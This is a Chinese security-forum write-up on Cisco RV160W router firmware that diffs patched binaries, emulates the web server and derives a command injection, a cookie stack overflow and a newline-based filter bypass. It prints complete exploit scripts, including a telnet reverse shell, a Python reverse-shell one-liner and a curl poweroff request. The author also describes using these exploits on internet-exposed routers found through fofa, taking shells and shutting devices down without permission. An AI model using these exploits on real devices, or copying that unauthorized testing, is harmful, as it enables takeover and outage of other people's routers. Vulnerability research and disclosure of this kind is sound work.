首页
社区
课程
招聘
[原创]Cisco RV160W系列路由器漏洞:从1day分析到0day挖掘
2021-8-5 10:31 24665

[原创]Cisco RV160W系列路由器漏洞:从1day分析到0day挖掘

2021-8-5 10:31
24665

前言

(本文写于几个月前,由于官方还没公开推送补丁,就迟迟没发布) 本来只是打算分析思科RV160W这款路由器最近的无条件RCE漏洞。我diff固件查看变动代码,结果有了一些新发现

 

https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-rv160-260-rce-XZeFkNHf.html

 

固件初步分析

根据官方的通告,Cisco Small Business RV160、RV160W、RV260、RV260P 和 RV260W VPN 路由器基于 Web 的管理界面中存在多个漏洞,可能允许未经身份验证的远程攻击者以root用户身份在受影响的设备上执行任意代码。这些漏洞在固件v1.0.01.02版本被修复

 

 

我去Cisco Software Center下载了两个版本固件

 

 

版本v1.0.01.01就是存在漏洞的固件

 

binwalk解压固件,寻找提供web服务的二进制文件,其实可以根据rc.d与init.d目录的一些初始化脚本盲猜,这里本着通用性与研究性的目的用另一种方式寻找。

 

由于手中没有现成设备,firmadyne有点鸡肋,于是我在油管上找了个RV160W的配置教程,观察浏览器上方的url,根据关键字符“configurationManagement”定位到admin.cgi,进而定位到web组件是mini_httpd(32位arm小端程序)。

 

1
2
3
4
5
6
7
8
9
10
11
12
13
b0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ grep -Rnl "configurationManagement" * 2>/dev/null
usr/sbin/admin.cgi
usr/lib/opkg/info/sbr-gui.list
www/gettingStarted.htm
www/configurationManagement.htm
www/app.min20200813.js
www/home.htm
b0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ grep -Rnl "admin.cgi" * 2>/dev/null
usr/sbin/mini_httpd
usr/sbin/admin.cgi
usr/lib/opkg/info/sbr-gui.list
b0ldfrev@ubuntu:~/blog/v1.0.01.01/rootfs$ file ./usr/sbin/mini_httpd
./usr/sbin/mini_httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 2.6.16, stripped

定位到web服务程序后,我们对两个版本固件的mini_httpd程序进行二进制代码对比(当然也有对 admin.cgi 进行对比,也存在不少改动代码,但这次我只关注mini_httpd组件部分)

 

最经典的是bindiff这款工具,但是我用它并没有找到关键代码改动部分

 

 

 

之后又使用了一款IDA插件diaphora,导出sqlite数据库后进行对比,发现 mini_httpd2 的 sub_1B034 函数(对应mini_httpd1的sub_1AF58函数)和sub_15CE4函数(对应mini_httpd1的sub_15CE4函数)改动较明显。

 

 

mini_httpd1

 

分析sub_1AF58函数改动部分

 

分别定位到两个程序相关代码部分

 

mini_httpd1

 

mini_httpd1

 

mini_httpd2

 

mini_httpd2

 

在新版本的sub_1B340中,将格式化后的v3作为参数传递给system,在这之前v3经过了一次sub_1B034函数

 

sub_1b034函数是新加入的,里面大概是过滤字符的功能

 

 

这里已经不能再明显了,system函数处存在命令注入,于是mini_httpd2用过滤危险字符的方式修复了这个漏洞。

 

分析sub_15CE4函数改动部分

 

mini_httpd1

 

mini_httpd1

 

mini_httpd2

 

mini_httpd1

 

将strcpy函数替换成了strncpy函数。断定此处strcpy存在栈溢出漏洞。

 

对固件的初步逆向分析后,基本判定老版本固件至少存在命令注入和栈溢出这两个漏洞。

固件模拟

模拟httpd服务,为了之后附加进程调试,我选用qemu系统模式进行模拟。

 

拷贝1.0.01.01固件文件系统进qemu,挂载一些关键目录后以chroot执行sh.

1
2
3
4
5
6
7
8
9
10
root@debian-armhf:~/rootfs# ls
bin  etc  media  overlay  rom    sbin  test_scripts  usr  www
dev  lib  mnt     proc      root    sys   tmp        var
root@debian-armhf:~/rootfs# mount -t proc  /proc/ ./proc/
root@debian-armhf:~/rootfs# mount -t devtmpfs /dev/ ./dev/
root@debian-armhf:~/rootfs# chroot . ./bin/sh
 
BusyBox v1.23.2 (2020-08-17 10:59:42 IST) built-in shell (ash)
 
/ #

在运行mini_httpd之前可能需要初始化环境目录,这些往往都在rc.d与init.d启动脚本里面,所以全局搜索引用“mini_httpd”的地方

1
2
3
4
5
6
7
8
b0ldfrev@ubuntu:~/cve/RV160W/rootfs$ grep -Rnl "mini_httpd" * 2>/dev/null
etc/scripts/mini_httpd/mini_httpd.sh
etc/rc.d/S23mini_httpd.init
etc/init.d/mini_httpd.init
etc/init.d/config_update.sh
usr/sbin/mini_httpd
usr/sbin/admin.cgi
usr/lib/opkg/info/sbr-gui.list

发现etc/scripts/mini_httpd/mini_httpd.shetc/rc.d/S23mini_httpd.initetc/init.d/mini_httpd.init 这些里面的内容都差不多,大概都是初始化一些文件然后最终启动/usr/sbin/mini_httpd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/bin/sh /etc/rc.common
 
START=23
 
version_gt() {
    test "$(echo "$@" | tr " " "\n" | sort -n | head -n 1)" != "$1";
}
get_version() {
    version=`cat $1 | grep "\"VERSION\"" | awk -F '"' '{print $4}'`
    if [[ "${version/V/}" != "$version" ]]; then
        version=`echo $version | awk -F 'V' '{print $2}'`
    fi
    echo $version
}
start() {
    fwLgPath="/www/lang"
    mntLgPath="/mnt/packages/languages"
    mkdir -p /tmp/download
    mkdir -p /tmp/download
    mkdir -p /tmp/download/certificate
    mkdir -p /tmp/download/log
    mkdir -p /tmp/download/configuration
    mkdir -p /tmp/www
    mkdir -p /tmp/portal_img
    if [ ! -d /mnt/packages/languages ]; then
        mkdir -p /mnt/packages/languages
        cp -rf ${fwLgPath}/* ${mntLgPath}
    else
        # check version
        list="English Spanish Frensh German Itailian"
        for i in $list; do
            if [ -f ${fwLgPath}/${i}.js ]; then
                if [ -f ${mntLgPath}/${i}.js ]; then
                    tmp_version=`cat ${mntLgPath}/${i}.js | grep "\"VERSION\"" | awk -F '"' '{print $4}'`
                    fw_version=$(get_version ${fwLgPath}/${i}.js)
                    mnt_version=$(get_version ${mntLgPath}/${i}.js)
                    if [[ "${tmp_version/V/}" != "$tmp_version" ]]; then
                        cp -f ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js
                    elif ! version_gt $mnt_version $fw_version; then
                        cp -f ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js
                    fi
                else
                    cp ${fwLgPath}/${i}.js ${mntLgPath}/${i}.js
                fi
            fi
        done
    fi
 
    /etc/scripts/mini_httpd/mini_httpd.sh start
}
 
stop() {
    /etc/scripts/mini_httpd/mini_httpd.sh stop
}
 
reload() {
    /etc/scripts/mini_httpd/mini_httpd.sh reload
}

我试着运行了一个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/ # /etc/init.d/mini_httpd.init
uci: Entry not found
Syntax: /etc/init.d/mini_httpd.init [command]
 
Available commands:
    start    Start the service
    stop    Stop the service
    restart    Restart the service
    reload    Reload configuration files (or restart if that fails)
    enable    Enable service autostart
    disable    Disable service autostart
 
/ # /etc/init.d/mini_httpd.init start
uci: Entry not found
ls: /mnt/configcert/confd/startup/: No such file or directory
use backup cert for mini-httpd ...
1 0 0 0
setsockopt SO_REUSEADDR: Protocol not available
setsockopt SO_REUSEADDR: Protocol not available
/usr/sbin/mini_httpd: can't bind to any address
/ #

发现报错can't bind to any address,这个报错在mini_httpd程序中,此时一些文件其实已经初始化了,我们可以只关注mini_httpd程序本身。

 

我们直接运行mini_httpd,同样的报错

1
2
3
4
/ # /usr/sbin/mini_httpd
setsockopt SO_REUSEADDR: Protocol not available
setsockopt SO_REUSEADDR: Protocol not available
/usr/sbin/mini_httpd: can't bind to any address

错误原因是setsockopt函数在调用时协议参数不合法,经过一番尝试后无果;最后想到这种设置套接字属性的函数,其实hook掉对连接的影响也不是很大,关键服务能起来就行。

 

定位到程序报错点,是setsockopt失败返回负值导致的错误。

 

 

我索性将setsockopt函数hook全返回1

1
2
3
4
5
6
7
8
9
10
11
/*arm-linux-gnueabi-gcc -shared -fPIC hook.c -o hook  */
#include <stdio.h>
#include <stdlib.h>
#include<sys/socket.h>
 
int setsockopt(int sockfd, int level, int optname,
                      const void *optval, socklen_t optlen)
{
 
return 1;
}
1
2
3
4
5
6
7
8
9
BusyBox v1.23.2 (2020-08-17 10:59:42 IST) built-in shell (ash)
 
/ # LD_PRELOAD="/hook" ./usr/sbin/mini_httpd
bind: Address already in use
/ # ./usr/sbin/mini_httpd: started as root without requesting chroot(), warning only
 
/ # ps |grep mini_httpd
 2364 root      3540 S    ./usr/sbin/mini_httpd
 2369 root      3120 S    grep mini_httpd

可以看到服务跑起来了,访问试试

 

 

根据403字符定位到程序中

 

 

 

执行sub_1b5f0函数后就退出了,猜测是某些环境变量的问题,这里为了不改变代码逻辑,我直接patch mini_httpd程序代码块,把跳转 sub_1B5F0的地方nop掉

 

before_nop

 

nop

 

再次执行程序后访问web

 

固件逆向分析与调试

接下来就是对mini_httpd的详细逆向过程,其实就是寻找触发路径。

命令注入漏洞分析

我把漏洞触发函数改成了vuln,以及调用vuln的上层函数vuln_back1,上上层函数vuln_back2........

 

vuln_back2

在vuln_back2中看出,我们只需要contrl_arg字符串里面包含"dniapi/"即可进入vuln_back1

 

vuln_back2

 

在往上看,contrl_arg被赋值成dword_34F60 + 1,并且dword_34F60第一个字符必须为'/',这里可以猜测contrl_arg是一个请求行的URL

 

vuln_back2

 

为了验证我的猜测,动态调试一下,由于所有的请求都被放在了fork子进程中处理。我这里暂时为了方便调试,hook了fork函数返回0,构造了GET /hello.txt

 

 

 

vuln_back1

在vuln_back1中判断了contrl_arg是否是相关字符,不是就会去执行vuln,调用vuln时传入了contrl_arg这个参数

 

vuln_back1

vuln

vuln函数里面还有最后一层判断,必须让contrl_arg的前9个字符等于"download/"

 

vuln

 

所以综上,我们可以构造GET请求URL为"/download/dniapi/",为了能触发system函数,我还需要调整contrl_cmd的值为"Basic "

 

查找引用,发现在vuln_back2函数中给contrl_cmd赋值

 

vuln_back2

 

大胆猜测,这里就是HTTP的head的Authorization字段

 

综上,最终能触发到system函数的请求大致如下

1
2
GET /download/dniapi/ HTTP/1.1
Authorization: Basic xxxxxxxxxxxxxxxxxxxxxxxxx

vuln通过sub_1E19C函数处理contrl_cmd + 6Basic之后的字符串),结果放入v5,最终将v5作为拼接命令的一部分。

 

 

table

 

3字节一组,以及明显的base64解码字符表,经验证sub_1E19C就是base64解密函数。

 

所以只需要将请求Authorization: Basic后的字符换成想要执行命令的base64编码形式,同时用;字符截断原有的curl命令,就可以执行任意命令,下面以date命令为例。

 

 

Command Inject EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# affect firmware version <1.0.01.02
import requests
import sys
import base64
import urllib3
 
if len(sys.argv)!=3:
    print "Parameter error. python exp.py url \"command\""
    exit(0)
 
url = sys.argv[1]
cmd =  sys.argv[2]
 
CMD=";"+cmd+";"
CMD=base64.b64encode(CMD)
 
header = {'Authorization':"Basic "+CMD}
 
urllib3.disable_warnings()
 
if url[-1:]=='/':
   url=url[:-1]
r = requests.get(url+"/download/dniapi/", headers=header,verify=False)
 
print "DONE!"

栈溢出漏洞分析

同样我将漏洞触发函数重命名成overflow,上层函数overflow_back1、overflow_back2

 

在vuln_back2函数里,处理 cookie 并且作为参数传入overflow_back2函数。

 

 

 

在这之前会有一个check,检查当前请求的url资源内容是否是需要登录才能访问

 

 

所以这里需要请求这些资源,使其返回1。

 

 

overflow_back2里判断cookie不为空后进入overflow_back1

 

 

然后就是检索cookie是否包含sessionID,包含的话,将其以空格分隔后,传入overflow函数

 

 

overflow函数中形参a2指向空字符,所以其实最后就是未限制sessionID长度在strcpy时的溢出。

 

 

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import urllib3
import sys
 
url = sys.argv[1]
 
if url[-1:]=='/':
   url=url[:-1]
 
cmd="aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac"
 
payload = "sessionID="+cmd
 
urllib3.disable_warnings()
 
url= url+"/help"
head= {'Cookie':payload}
r=requests.get(url,headers=head,verify=False)
 
print(r)
print(r.text)
print(r.content)

 

分析crash结果,得知是在overflow函数返回前抛出的内存引用异常。原因是数据过长,覆盖了压入栈中的第五个参数a5,它刚好位于返回地址下方,导致最后一个strcpy往a5变量地址写数据时,该地址不合法。

 

所以为了能够保证利用,需要刚好覆盖到overflow函数的返回地址。

 

经过调试,测得偏移为268,POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import urllib3
import sys
 
url = sys.argv[1]
 
if url[-1:]=='/':
   url=url[:-1]
 
payload = "sessionID=1234".ljust(268,"a")+"bbb"
 
urllib3.disable_warnings()
 
url= url+"/help"
head= {'Cookie':payload}
r=requests.get(url,headers=head,verify=False)
 
print(r)
print(r.text)
print(r.content)

 

 

可以看到返回地址被覆盖成了bbb(0x626262),且可以观察到此时的r0寄存器指向sessionID=后的字符串1234...,因此可以在sessionID=后放置命令字符串,然后控制PC跳转到system函数上。由于cookie在overflow_back1函数中被过滤了空格,在overflow中被过滤了等号,导致命令执行受限,空格可以用${IFS}替换,等号只能避免使用了。

 

Stack Overflow EXP

关于system执行命令,我并不想去另寻僻径去ROP或者是上传后门程序,我尝试了很多技巧,最终以这种较为简单且通用的方式弹shell(输入与输出分离)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# affect firmware version <1.0.01.02
import requests
import urllib3
import sys
 
 
if len(sys.argv)!=5:
    print "Parameter error. python exp.py url reverse_shell_host input_port output_port"
    exit(0)
 
 
url = sys.argv[1]
reverse_shell_host =  sys.argv[2]
input_port= sys.argv[3]
output_port= sys.argv[4]
 
 
if url[-1:]=='/':
   url=url[:-1]
 
 
cmd="telnet "+reverse_shell_host+" "+input_port+" | /bin/sh | telnet "+reverse_shell_host+" "+output_port
 
cmd2=cmd.replace(' ',"${IFS}")
 
 
payload = ("sessionID="+cmd2+";").ljust(268,"a")
payload += "\x1c\xb1\x01"
 
 
urllib3.disable_warnings()
 
url= url+"/help"
head= {'Cookie':payload}
r=requests.post(url,headers=head,verify=False)
 
print(r)
print(r.text)
print(r.content)

本地测试

以Command Inject EXP为例:

1
python exp.py http://192.168.122.12 "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.122.11\",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"

真实设备测试

由于我手里没有真实设备,只能找一些公网上的设备验证。

 

用burpsuit抓包获取设备特征

 

 

Content-Security-Policy:是一个很明显的特征

 

在fofa上搜索 header="frame-ancestors 'self' 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline' 'unsafe-eval'"

 

我这里只搜索了巴西的

 

 

用exp打来试试

 

收获0day

一开始我补丁比较的时候就发现,v1.0.01.02固件在sprintf之前加入了字符过滤函数

 

该函数完整代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
_BYTE *__fastcall filer(_BYTE *output, _BYTE *input, int a3_1024)
{
  _BYTE *v3; // r3
  _BYTE *v4; // r3
  _BYTE *v5; // r3
  _BYTE *v6; // r3
  _BYTE *v7; // r3
  _BYTE *v8; // r2
  int v9; // [sp+10h] [bp-14h]
  _BYTE *v10; // [sp+14h] [bp-10h]
  int v12; // [sp+1Ch] [bp-8h]
  int v13; // [sp+1Ch] [bp-8h]
  int v14; // [sp+1Ch] [bp-8h]
 
  v12 = 0;
  v9 = a3_1024 - 1;
  v10 = output;
  while ( *input )
  {
    if ( *input == '~'
      || *input == '`'
      || *input == '#'
      || *input == '$'
      || *input == '&'
      || *input == '*'
      || *input == '('
      || *input == ')'
      || *input == '|'
      || *input == '['
      || *input == ']'
      || *input == '{'
      || *input == '}'
      || *input == ';'
      || *input == '\''
      || *input == '"'
      || *input == '<'
      || *input == '>'
      || *input == '/'
      || *input == '?'
      || *input == '!'
      || *input == ' '
      || *input == '='
      || *input == '\t' )
    {
      v3 = v10++;
      *v3 = '\\';
      if ( ++v12 >= v9 )
        break;
    }
    else if ( *input == '\\' )
    {
      v4 = v10++;
      *v4 = '\\';
      v13 = v12 + 1;
      if ( v13 >= v9 )
        break;
      v5 = v10++;
      *v5 = '\\';
      v14 = v13 + 1;
      if ( v14 >= v9 )
        break;
      v6 = v10++;
      *v6 = '\\';
      v12 = v14 + 1;
      if ( v12 >= v9 )
        break;
    }
    v7 = v10++;
    v8 = input++;
    *v7 = *v8;
    if ( ++v12 >= v9 )
      break;
  }
  *v10 = 0;
  return output;
}

经分析,它的功能主要是检索字符串,一旦检测到敏感字符,就将在该字符前面加上一个转义符"\"

 

比如我们构造命令ls -all,被它处理后字符变成了ls\ -all

 

我试了各种方法,都无法绕过

 

但是我发现它并没有过滤换行符"\n",这可以让我们使用换行符截断命令,但是我们只能执行一些环境变量目录下的程序,并且还不能跟参数,可能的用处是开启一些对外的接口比如telnetd或其它。

 

但这也是一个很严重的过滤缺陷,因为我们可以构造"\npoweroff\n"来使路由器关机,这直接是拒绝服务攻击了

 

v1.0.01.02

EXP

根据上面Command Inject EXP代码,将字符拼接处的;换成\n即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# affect firmware version <1.0.01.04
import requests
import sys
import base64
import urllib3
 
if len(sys.argv)!=3:
    print "Parameter error. python exp.py url \"command with no parameters\""
    exit(0)
 
url = sys.argv[1]
cmd =  sys.argv[2]
 
CMD="\n"+cmd+"\n"
CMD=base64.b64encode(CMD)
 
header = {'Authorization':"Basic "+CMD}
 
urllib3.disable_warnings()
 
if url[-1:]=='/':
   url=url[:-1]
r = requests.get(url+"/download/dniapi/", headers=header,verify=False)
 
print "DONE!"

测试

尝试过注入telnetd命令来开启telnetd服务

但经1day打进去的公网设备验证发现,该系列路由器里没有配置用户密码。

下面只尝试poweroff的命令注入(效果最直观明显)。POC如下

1
2
3
4
curl -i -s --X $'GET' \
    -H $'Host: 127.0.0.1' -H $'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Connection: close' -H $'Cookie: local_lang=%22English%22; ru=0' -H $'Authorization: Basic CnBvd2Vyb2ZmCg==' -H $'Upgrade-Insecure-Requests: 1' -H $'If-Modified-Since: Wed, 07 Apr 2021 11:28:48 GMT' -H $'Cache-Control: max-age=0' \
    -b $'local_lang=%22English%22; ru=0' \
    $'https://127.0.0.1/download/dniapi/'

在公网上找了个用1day打getshell失败 但使用POC成功宕机的

 

v1.0.01.02

 

v1.0.01.02

 

v1.0.01.02

Notices

目前该漏洞已经提交给了思科厂商,思科已确认了该漏洞并修复。https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-rv-code-execution-9UVJr7k4.html


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2021-8-8 01:03 被b0ldfrev编辑 ,原因: 目录调整
上传的附件:
收藏
点赞12
打赏
分享
最新回复 (12)
雪    币: 355
活跃值: (2593)
能力值: ( LV3,RANK:25 )
在线值:
发帖
回帖
粉丝
KooJiSung 2021-8-5 12:46
2
0
不错
雪    币: 13
活跃值: (41)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Chrisis 2021-8-5 14:04
3
0
大佬tql
雪    币: 11973
活跃值: (15270)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2021-8-6 17:59
4
0
感谢分享,为什么我搜索的cisco的n day都需要用GNS3复现,而你的可以直接用qemu模拟?cisco的小型设备和中大型设备还有什么本质的区别吗?
雪    币: 1315
活跃值: (685)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
b0ldfrev 1 2021-8-7 13:49
5
0

1

最后于 2021-8-7 13:50 被b0ldfrev编辑 ,原因:
雪    币: 1315
活跃值: (685)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
b0ldfrev 1 2021-8-7 13:50
6
0
pureGavin 感谢分享,为什么我搜索的cisco的n day都需要用GNS3复现,而你的可以直接用qemu模拟?cisco的小型设备和中大型设备还有什么本质的区别吗?
一般小型或者家用的Vxworks居多,中大型Linux居多,Linux因为文件系统的缘故,个人用qemu模拟起来比较方便调试
雪    币: 11973
活跃值: (15270)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2021-8-7 23:08
7
0
b0ldfrev 一般小型或者家用的Vxworks居多,中大型Linux居多,Linux因为文件系统的缘故,个人用qemu模拟起来比较方便调试
请问楼主放不方便出一个关于VxWorks相关的文章,网上搜到的大部分由poc的漏洞都是squashfs的文件系统,其他的还是很少的(也可能是我不太会找)
雪    币: 1315
活跃值: (685)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
b0ldfrev 1 2021-8-8 01:18
8
0
pureGavin 请问楼主放不方便出一个关于VxWorks相关的文章,网上搜到的大部分由poc的漏洞都是squashfs的文件系统,其他的还是很少的(也可能是我不太会找)

https://github.com/knownsec/VxPwn/tree/master/doc 

https://i.blackhat.com/asia-19/Fri-March-29/bh-asia-Zhu-Dive-into-VxWorks-Based-IoT-Device-Debug-the-Undebugable-Device.pdf

可以参考下

最后于 2021-8-8 01:34 被b0ldfrev编辑 ,原因:
雪    币: 11973
活跃值: (15270)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2021-8-8 10:09
9
0
b0ldfrev pureGavin 请问楼主放不方便出一个关于VxWorks相关的文章,网上搜到的大部分由poc的漏洞都是squashfs的文件系统,其他的还是很 ...
感谢
雪    币: 0
活跃值: (107)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
Pr0wes5 2021-8-9 10:01
10
0
牛啊牛啊
雪    币: 1315
活跃值: (685)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
b0ldfrev 1 2021-8-10 09:35
11
0
Pr0wes5 牛啊牛啊
雪    币: 204
活跃值: (378)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
BOI_电院 2021-9-6 17:08
12
0
牛啊牛啊
雪    币: 226
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
Accustomed 2021-10-23 21:25
13
0
binwalk -Me 提取不到文件系统
游客
登录 | 注册 方可回帖
返回